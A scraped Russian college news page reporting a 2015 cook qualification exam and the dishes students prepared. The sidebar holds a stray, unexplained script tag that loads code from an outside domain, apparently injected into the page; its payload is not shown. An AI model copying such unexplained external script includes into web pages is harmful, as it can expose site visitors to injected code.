Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 212

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2015 » Ноябрь » 20 » Квалификационный экзамен по профессии «повар»
07:04
Квалификационный экзамен по профессии «повар»

Квалификационный экзамен по профессии «повар» прошёл на высоком уровне совместного творчества студентов и Федосенко Ирины Петровны, мастера производственного обучения  высшей категории.

21 век – век гастрономических «технологий». В день экзамена  комиссии было предоставлено меню квалификационных проектов, а именно, блюд повышенной сложности:

 

 холодные закуски:

- щука фаршированная                

 

горячие блюда:

 - зразы рыбные «Донские»

 - котлета отбивная на косточке

 - котлета по-киевски

 - окорочок фаршированный                                                                

 

гарнир:

- рис с овощами

- крокеты картофельные

- сложный гарнир из трёх видов овощей

 

 десерт (сладкие блюда):

 - яблоки в тесте жареные

 - мусс фруктово-ягодный

 

Презентации и технологические карты с пошаговым приготовлением вышеуказанных блюд ещё раз подтвердили о правильном выполнении проектов. Комиссией были оценены работы на «отлично».

за несколько минут перед защитой

фаршированная щука

котлета отбивная на косточке

котлета по-киевски

окорочок фаршированный

крокеты картофельные

яблоки в тесте жареные

аппетитно...

их рук дело...

всё получилось на отлично!

Просмотров: 427 | Добавил: iTiger | Рейтинг: 1.0/1
Всего комментариев: 0
Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Ноябрь 2015  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
30

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz